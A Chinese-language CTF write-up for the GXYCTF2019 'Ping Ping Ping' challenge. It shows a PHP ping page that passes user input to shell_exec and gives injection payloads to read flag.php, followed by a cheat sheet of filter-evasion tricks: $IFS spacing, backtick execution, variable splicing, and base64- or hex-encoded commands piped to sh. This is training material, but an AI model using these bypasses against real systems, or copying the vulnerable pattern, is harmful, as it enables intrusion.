[GXYCTF2019]Ping Ping Ping (命令執行繞過總結)
題目來源
收錄於:BUUCTF GXYCTF2019
題目描述
提示較為明確,get方法傳參127.0.0.1
後結果如下
比較容易想到聯合執行命令,先看有哪些檔案
嘗試直接讀取flag.php
讀取失敗,對空格進行了過濾。
題解
以下內容參考文章:https://blog.csdn.net/vanarrow/article/details/108295481
對空格的繞過比較簡單,在kali預設的shell中驗證後得出,繞過可用以下方式
${IFS}
${IFS}$9 //這裡$1到$9都可以
$IFS$1 //這裡$1到$9都可以
<
<>
{cat,flag.php} //用逗號實現了空格功能,需要用{}括起來
%20 (space) //在shell中無法直接使用%20代替空格,但是在URL編碼中可以嘗試,tab同理
%09 (tab)
X=$'cat\x09./flag.php';$X // \x09表示tab,也可以用\x20
X='cat\x09./flag.php';$X
內聯執行:將反引號內命令的返回值(即輸出值)作為整條命令的輸入值
例如當命令為:
cat `ls`
即cat讀取當前目錄下的所有檔案
因此可以使用上面的繞過方法配合內聯執行,例如:
cat$IFS`ls`
cat$IFS$9`ls`
先讀取一下index.php
的原始碼
?ip=127.0.0.1;cat$IFS$9index.php
美化後程式碼如下
<?php
$ip = $_GET['ip'];
if (preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)) {
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!"); //不能包含的字元:& / ? * < > " \ ( ) [ ] { } ASCII值0到20之間的字元
} else if (preg_match("/ /", $ip)) {
die("fxck your space!"); // 不能包含空格
} else if (preg_match("/bash/", $ip)) { //不能包含bash
die("fxck your bash!");
} else if (preg_match("/.*f.*l.*a.*g.*/", $ip)) { //flag這四個字母不能按順序出現在字串中
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 " . $ip);
echo "<pre>";
print_r($a);
echo "</pre>";
?>
我們看到不能直接輸入flag
進行檔案的讀取,但是可以使用變數賦值的方式,例如:
?ip=127.0.0.1;X=g;cat$IFS$9fla$X.php
字串fla
和變數$X
拼接形成flag
,成功繞過,flag顯示在頁面原始碼中
以下payload也可行:
?ip=127.0.0.1;X=ag;cat$IFS$9fl$X.php
?ip=127.0.0.1;X=lag;cat$IFS$9f$X.php
?ip=127.0.0.1;X=la;cat$IFS$9`ls` //內聯執行配合空格繞過
但以下payload不可行:
?ip=127.0.0.1;X=a;cat$IFS$9fl$Xg.php
?ip=127.0.0.1;X=la;cat$IFS$9f$Xg.php
因為shell會把$Xg當成一個變數名進行解析,但是該變數並沒有定義。而前面可行的payload中因為變數$X後緊接著是.
,因此可以成功解析
此外也可以使用base64編碼繞過。雖然過濾了bash,但是可以使用sh
?ip=127.0.0.1;`echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d`
?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh
總結
繞過空格
${IFS}
${IFS}$9 //這裡$1到$9都可以
$IFS$1 //這裡$1到$9都可以
<
<>
{cat,flag.php} //用逗號實現了空格功能,需要用{}括起來
%20 (space) //在shell中無法直接使用%20代替空格,但是在URL編碼中可以嘗試,tab同理
%09 (tab)
X=$'cat\x09./flag.php';$X // \x09表示tab,也可以用\x20
X='cat\x09./flag.php';$X
內聯執行
cat `ls`
變數賦值
X=g;cat fla$X.php
base64編碼繞過
echo Y2F0IGZsYWcucGhw|base64 -d|bash
echo Y2F0IGZsYWcucGhw|base64 -d|sh
`echo Y2F0IGZsYWcucGhw|base64 -d`
Hex編碼繞過(前提:安裝xxd)
echo 63617420666c61672e706870|xxd -r -p |bash
echo 63617420666c61672e706870|xxd -r -p |sh
`echo 63617420666c61672e706870|xxd -r -p`
其他方法
cat fl* //用*匹配任意
ca\t fla\g.php //反斜線繞過
cat fl''ag.php //兩個單引號繞過
cat fl[a]g.php //用[]匹配
cp fla{g.php,G} //把flag.php複製為flaG
ca${21}t a.txt //{}中可以是任意數字